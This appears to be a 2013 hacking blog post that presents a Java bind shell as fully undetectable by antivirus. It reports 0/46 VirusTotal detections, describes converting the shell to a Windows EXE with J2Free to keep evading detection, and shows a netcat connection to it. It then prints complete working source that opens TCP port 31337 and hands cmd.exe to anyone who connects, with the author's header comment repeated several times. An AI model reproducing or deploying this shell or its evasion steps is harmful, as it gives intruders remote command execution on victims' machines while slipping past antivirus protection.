46 x AntiVirus Software Fail …. Java Bind Shell 100 % FUD

Posted by Security is just an illusion at Tuesday, January 29, 2013 Read our previous post

Thats why you dont need too buy a AntiVirus Software ….
Security is just an illusion yeah i think too

Now Lets check on VirusTotal your new Java Payload.
The Results are :

Detection ratio:
0 / 46
1# Virustotal Scan 
Lets test the Java Payload if it work.
Open a cmd go to the bin Folder of the Java Class Enter “java serv” to start the Java Payload Class

Start NetCat thats we can connect to 127.0.0.1  on Port 31337.

We got a shell YeahHhhHh !!! Nothing New
Java is Gay we need a Executable=Exe its much better,now lets Convert the Java Code to Machine code.
Download J2Free and Convert it to Machine code.
Now lets Check your New EXE File Again on VirusTotal.


Detection ratio:
0 / 46
2# Virustotal Scan 
Hmm 46 x Fail again we Really need some AntiVirus ?
Testing Again if it Work ….

The BindShell is Again Working on Windows 8 ….. g0t r00t ? Windows Firewall fail toooo on localhost ……
Nothing to say ……Have pfun
cr4shyyybind.java

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

import java.io.*;
import java.net.*;


public class serv  // Open New Socks
{
 public serv (int cr4shyyy) 
 {
   
  ServerSocket server = StartServer(cr4shyyy);
     String shell = getShell();
  try {            
      while (true) {  
       Socket sock = server.accept();
          Process proc = new ProcessBuilder(shell).start();
          (new StreamConnector(proc.getInputStream(), sock.getOutputStream())).start();
          (new StreamConnector(sock.getInputStream(), proc.getOutputStream())).start();
      }
  }
  catch(Exception e) {
   System.out.println( e.getMessage() );
  }
   
 }
 public String getShell() // Get shell 
 {
     String shell = null;
     if (System.getProperty("os.name").toLowerCase().matches("win"))
      shell = "cmd.exe";
     else
      shell = "cmd.exe";
     return shell;
 }
 public ServerSocket StartServer(int cr4shyyy)
 {
    
  ServerSocket server = null;
  try {
   server = new ServerSocket(cr4shyyy); //Start Socket
   System.out.print("Welcome to cr4shyyy java bind shell .... ");
   System.out.print("Listenport : 31337 ");
  }
  catch (Exception e) { // Exception Handler
   System.out.println( e.getMessage() );
   System.exit(0);
  }
  return server;
 }
 
 class StreamConnector extends Thread // Buffer IN/OUTPUT
 {
         InputStream is;
         OutputStream os;

         StreamConnector(InputStream is, OutputStream os)
         {
                 this.is = is;
                 this.os = os;
         }

         public void run()
         {
                 BufferedReader isr = null;
                 BufferedWriter osw = null;

                 try
                 {
                         isr = new BufferedReader(new InputStreamReader(is));
                         osw = new BufferedWriter(new OutputStreamWriter(os));

                         char buffer[] = new char[8192];
                         int lenRead;

                         while( (lenRead = isr.read(buffer, 0, buffer.length)) > 0)
                         {
                                 osw.write(buffer, 0, lenRead);
                                 osw.flush(); // Write Buffer
                         }
                 }
                 catch (Exception ioe){
                  System.out.println( ioe.getMessage() );
                 }

                 try
                 {
                         if(isr != null) isr.close();
                         if(osw != null) osw.close();
                 }
                 catch (Exception ioe){
                  System.out.println( ioe.getMessage() );
                 }
         }
 }
 
 public static void main (String args[]) 
 {
  @SuppressWarnings("unused")
  serv bs = new serv(31337); // Listen Port .....
 }
}

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

/*Bindshell TCP 31337
 * http://security-is-just-an-illusion.blogspot.de/
 * 
 *    Bind Tcp Shell to Port 31337
 *    Security is just an Illusion
 *    Use Netcat to connect ...
 *    
 *    by cr4shhyy
 */

Use it for Personal use or study purposes.